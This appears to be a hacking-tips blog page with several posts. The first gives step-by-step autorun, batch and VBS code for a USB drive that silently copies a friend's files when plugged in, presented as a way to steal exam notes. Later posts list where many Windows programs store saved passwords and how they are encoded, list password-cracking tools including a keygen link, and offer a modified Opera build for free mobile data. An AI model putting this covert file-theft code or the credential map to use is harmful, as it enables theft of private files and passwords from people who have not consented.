Steel Someone Secret File Using USB Flash Drive

Today i am posting a way to steel secret file from your friends computer.
Let’s say you and your friend are preparing for an all important exam that is going to decide the course the rest of your life takes. Your friend has some important notes on his computer that he isn’t going to share with you. Your friend is a moron. You need the notes so badly that you are willing to steal from him. He deserves it anyway.

To get the notes you can either break into his house at night, an accomplice keeps you hanging by a rope from the roof while you deliberately copy the files to your flash drive taking care not to let your feet touch the floor. Or you can walk into his room one morning and say with a feigned smile, “Hey, buddy! I have some great new music. Want it?”. Then plug your USB Flash drive into his PC to automatically copy his notes to your pen drive, secretly and silently. Copy the songs you brought to his PC to complete the act.
Sneaky, isn’t it? So let us prepare such a sinister USB Flash drive.

STEP 1
Open Notepad (I recommend Notepad++) and copy-paste the following lines.
[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat
Save this as autorun.inf
The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It’s useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.
The “action=” command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.
The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.
 
STEP 2
Open Notepad again and copy-paste the following lines
@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
@echo off
cls
Save this as file.bat
This file is configured to copy the contents of the current users pictures, favorites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.
The first file path “%USERPROFILE%\pictures” – is the target.
The second file path “%drive%\all\My pics” – is the destination.
 
STEP 3
Open Notepad once again and copy-paste the following line.
CreateObject(“Wscript.Shell”).Run “”"” & WScript.Arguments(0) & “”"”, 0, False
Save this as invisible.vbs
This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.
 
STEP 4
Open Notepad one last time and copy-paste the following line.
wscript.exe \invisible.vbs file.bat
Save this as launch.bat
This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.
STEP 5
Copy all 4 files created in the above steps and put it on the root of the Flash drive, including the icon file if needed. Also create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.
This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your slave. It works flawlessly.











READMORE
 

All Saved Password Locations


Google Chrome:
Chrome Passwords are stored in a SQLite file the sites name and sites username is in clear text but the password is seeded in a Triple DES algorithm. The file is called Web Data and is stored in the following location
XP – C:\Documents and Settings\Username\Local Settings\Application Data\Google\Chrome\User Data\Default
Vista – C:\Users\Username\Appdata\Local\Google\Chrome\User Data\Default

Trillian:
Note- I have just realised the new version of trillian the passwords made be stored/encrypted differently
Trillian Passwords are stored in .ini files the first character of the password is encrypted with XOR with the key 243 then the password is converted into hex. The file is based on what the password is for so if it was icq it would be icq.ini (for new versions I think they are all stored in a file called accounts.ini or something similar if you open it up with notepad you will see all the data + the encrypted password). The files are stored in the following location:
XP (old version) – C:\Program Files\Trillian\users\
XP (new version) – C:\Documents and Settings\Username\Local Settings\Application Data\Trillian\user\global – I am not sure on exact but it is somewhere their
Vista (old version)- C:\Program Files\Trillian\users\
Vista (new version)- C:\Users\Username\Appdata\Roaming\Trillian\user\gl obal

MSN /Windows Live Messenger:
MSN Messenger version 7.x: The passwords are stored under HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\C reds\[Account Name]
Windows Live Messenger version 8.x/9.x: The passwords are stored in the Credentials file, with entry name begins with “WindowsLive:name=”. They a set of Win API functions (Credential API’s) to store its’ security data (Credentials). These functions store user information, such as names and passwords for the accounts (Windows Live ID credentials). Windows Live ID Credential records are controlled by the operating system for each user and for each session. They are attached to the “target name” and “type”. If you are familiar with SQL you can think of target name and type as the primary key. Table below lists most frequently used fields in Windows Live ID Credential records.

Paltalk:
Paltalk Passwords are using the same password encryption algorithm. Paltalk passwords are stored in the registry. To encrypt the new password Paltalk looks at the serial number of the disk C:\ and performs a mix with the Nickname. The resulting string is then mixed again with the password and some other constants. The final string is then encoded and written to the registry.
AIM, ICQ and Yahoo Messenger passwords that are stored by Paltalk are encoded by BASE64 algorithm.
The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\Paltalk\[Account Name]

Google Talk:
Google Talk passwords are encoded/decoded using Crypto API. Encrypted Gmail passwords are stored by Google Talk in the registry under HKEY_CURRENT_USER\Software\Google\Google
Talk\Accounts\[Account Name]

Firefox:
Click Me!!!!
The passwords are stored in one of the following filenames: signons.txt, signons2.txt, and signons3.txt (depends on Firefox version)
These password files are located inside the profile folder of Firefox, in [Windows Profile]\Application Data\Mozilla\Firefox\Profiles\[Profile Name]
Also, key3.db, located in the same folder, is used for encryption/decription of the passwords.

Yahoo Messenger 6.x:
The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager
(”EOptions string” value)

Yahoo Messenger 7.5 or later:
The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager – “ETS” value.
The value stored in “ETS” value cannot be recovered back to the original password.

AIM:
AIM uses Blowfish and base64 algorithms to encrypt the AIM passwords.
448-bit keyword is used to encrypt the password with Blowfish. The encrypted string is then encoded using base64. The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\America Online\AIM6\Passwords

No Ip (easy to make in vb.net):
Passwords encoded with Base64 you can find the account information in the following locations
HKEY_LOCAL_MACHINESOFTWARE\Vitalwerks\DUC\”, “Password”
HKEY_LOCAL_MACHINESOFTWARE\Vitalwerk\sDUC\”, “Checked”
HKEY_LOCAL_MACHINESOFTWARE\Vitalwerks\DUC\”, “Username
KEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\”, “ProxyUsername
HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\”, “ProxyPassword”
HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\”, “Hosts”

Filezilla:
Passwords are stored in a .xml file located in Filezilla on appdata their is sources for this
Internet Explorer 4.00 – 6.00:
The passwords are stored in a secret location in the Registry known as the “Protected Storage”.
The base key of the Protected Storage is located under the following key:
“HKEY_CURRENT_USER\Software\Microsoft\Protected Storage System Provider”.
You can browse the above key in the Registry Editor (RegEdit), but you won’t be able to watch the passwords, because they are encrypted.
Also, this key cannot easily moved from one computer to another, like you do with regular Registry keys.
Internet Explorer 7.00 – 8.00:
The new versions of Internet Explorer stores the passwords in 2 different locations.
AutoComplete passwords are stored in the Registry under HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2.
HTTP Authentication passwords are stored in the Credentials file under Documents and Settings\Application Data\Microsoft\Credentials , together with login passwords of LAN computers and other passwords.

Opera:
The passwords are stored in wand.dat filename, located under [Windows Profile]\Application Data\Opera\Opera\profile

Outlook Express (All Versions):
The POP3/SMTP/IMAP passwords Outlook Express are also stored in the Protected Storage, like the passwords of old versions of Internet Explorer.

Outlook 98/2000:
Old versions of Outlook stored the POP3/SMTP/IMAP passwords in the Protected Storage, like the passwords of old versions of Internet Explorer.

Outlook 2002-2008:
All new versions of Outlook store the passwords in the same Registry key of the account settings.
The accounts are stored in the Registry under HKEY_CURRENT_USER\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\[Profile Name]\9375CFF0413111d3B88A00104B2A6676\[Account Index]
If you use Outlook to connect an account on Exchange server, the password is stored in the Credentials file, together with login passwords of LAN computers.

ThunderBird:
The password file is located under [Windows Profile]\Application Data\Thunderbird\Profiles\[Profile Name]
You should search a filename with .s extension.
Digsby:
The main password of Digsby is stored in [Windows Profile]\Application Data\Digsby\digsby.dat
All other passwords are stored in Digsby servers.




READMORE
 

Password Cracker


Cain and Abel :- The top password recovery tool for Windows. This Windows-only password recovery tool handles an enormous variety of tasks. It can recover passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.

Home:- http://www.oxid.it
Latest Release:- cain & abel v4.9.23
Download:- http://www.oxid.it/cain.html




John the Ripper :- A powerful, flexible, and fast multi-platform password hash cracker. John the Ripper is a fast password cracker, currently available for many flavors of Unix, DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. It supports several crypt(3) password hash types which are most commonly found on various Unix flavors, as well as Kerberos AFS and Windows NT/2000/XP LM hashes. Several other hash types are added with contributed patches.

Home:- http://www.openwall.com
Latest Release:- John the Ripper 1.7
Download:- http://www.openwall.com/john/



THC Hydra :- A Fast network authentication cracker which support many different services. When you need to brute force crack a remote authentication service, Hydra is often the tool of choice. It can perform rapid dictionary attacks against more then 30 protocols, including telnet, ftp, http, https, smb, several databases, and much more.

Home:- http://www.thc.org
Latest Release:- THC-Hydra v5.4
Download:- http://freeworld.thc.org/thc-hydra/



L0phtcrack :- Windows password auditing and recovery application
L0phtCrack, also known as LC5, attempts to crack Windows passwords from hashes which it can obtain (given proper access) from stand-alone Windows NT/2000 workstations, networked servers, primary domain controllers, or Active Directory. In some cases it can sniff the hashes off the wire. It also has numerous methods of generating password guesses (dictionary, brute force, etc).

Home:- Not Available
Latest Release:- L0phtcrack v5.04
Download:- http://download.insecure.org/stf/lc5-setup.exe
                  http://download.insecure.org/stf/lc5-crack.zip (keygen)



 Pwdump :- Windows password recovery tool.
Pwdump is able to extract NTLM and LanMan hashes from a Windows target, regardless of whether Syskey is enabled. It is also capable of displaying password histories if they are available. It outputs the data in L0phtcrack-compatible form, and can write to an output file.

Home:- http://www.foofus.net/fizzgig/pwdump
Latest Release:- pwdump6 version 1.7.2
Download:- http://swamp.foofus.net/fizzgig/pwdump/downloads.htm



 RainbowCrack :- An Innovative Password Hash Cracker.
The RainbowCrack tool is a hash cracker that makes use of a large-scale time-memory trade-off. A traditional brute force cracker tries all possible plaintexts one by one, which can be time consuming for complex passwords. RainbowCrack uses a time-memory trade-off to do all the cracking-time computation in advance and store the results in so-called "rainbow tables". It does take a long time to precompute the tables but RainbowCrack can be hundreds of times faster than a brute force cracker once the precomputation is finished.

Home:- http://www.antsight.com
Latest Release:- rainbowcrack v1.2
Download:- http://www.antsight.com/zsl/rainbowcrack/



 Brutus :- A network brute-force authentication cracker
This Windows-only cracker bangs against network services of remote systems trying to guess passwords by using a dictionary and permutations thereof. It supports HTTP, POP3, FTP, SMB, TELNET, IMAP, NTP, and more.

Home:- http://www.hoobie.net
Latest Release:- brutus-aet2
Download:- http://www.hoobie.net/brutus/brutus-download.html
READMORE
 

Extract RAR Files Without Password Free – Open Locked RAR Files


If you are looking for free softwares to extract rar files without password then here are two simple tools to open locked rar file archives. Simply download them you might jut be able to extract files from password protected Rar files.

Extract Files from Password Protected RAR Files

Winrar Unlock

WinrarUnlockExtractRARFilesWithoutPasswordFreeOpenLockedRARFiles Extract RAR Files Without Password Free – Open Locked RAR Files

Unlock locked winrar archive (including SFX) allowing you to modify the content freely. With Winrar archive lock to prevent modification, people cannot change the content/comment in it. Through some patching of few bytes, you are able to modify your archive with ease.
Download Winrar Unlock: Link

RAR Password Cracker

ExtractRARFilesWithoutPasswordFreeOpenLockedRARFiles Extract RAR Files Without Password Free – Open Locked RAR Files

This program is intended to recover lost passwords for RAR/WinRAR archives of versions 2.xx and 3.xx. The program finds by the method of exhaustive search all possible combinations of characters (“bruteforce” method), or using passwords from lists (“wordlist” or “dictionary” method). Self-extracting archives and multivolume archives are supported.
Download RAR Password Cracker: Link
The program is able to save a current state (you can interrupt the program at any time, and restart from the same state later).
Note: Most of the time for password protected RAR files For eg. Heroes.S02.E10.www.Free-Offline.com.rar the password is in the name it self. In this case the password, it is www.free-offline.com










READMORE
 

Online Tools


If you like the post do share your views :)
SHARING IS CARING.
READMORE
 

Remove all restrictions from secured PDF files!


PDF files can be secured with restrictions that prevent you from for example copying text from them or editing, printing, merging or splitting them. PDFUnlock! can remove these restrictions (a.k.a “owner password”).

If a password is required to open the uploaded file, you will be asked to enter it (a.k.a “user password”). PDFUnlock! cannot, however, recover lost or unknown user passwords.

pdf unlock Remove all restrictions from secured PDF files!

Steps to unlock your PDF:
  • Go to PDFUnlock
  • Upload your PDF
  • Click on Unlock!
  • If it needs a password to open, enter it else it will be done automatically!
  • Your’re done icon smile Remove all restrictions from secured PDF files!
A PDF file can also be subject to non-standard encryption, such as DRM. PDFUnlock! does not remove such.

Links: Go to PDFUnlock! | Merge PDFs | Split PDFs
READMORE
 

[NEW] Free Airtel 3g and 2g gprs with Opera 6.5 Offically Hacked


Hey guys I have modded the opera application and now its working free with airtel 2g as well as 3g...
Balance should be below 30 paisa... 100% working with no disconnect problem..!!!

Use Mobile Office settings (APN=airtelgprs.com) .That's it!!!

If you recieved error"Unsufficient storage space". Just create new folder and move this app to new folder..  ;)

Now Enjoy Free downloading and surfing..!!  :dance :dance :t :t

Opera 6.5 Download->(Officialy Hacked By me) 


If you face any error, feel free to comment. I will surely help you...  :bye

READMORE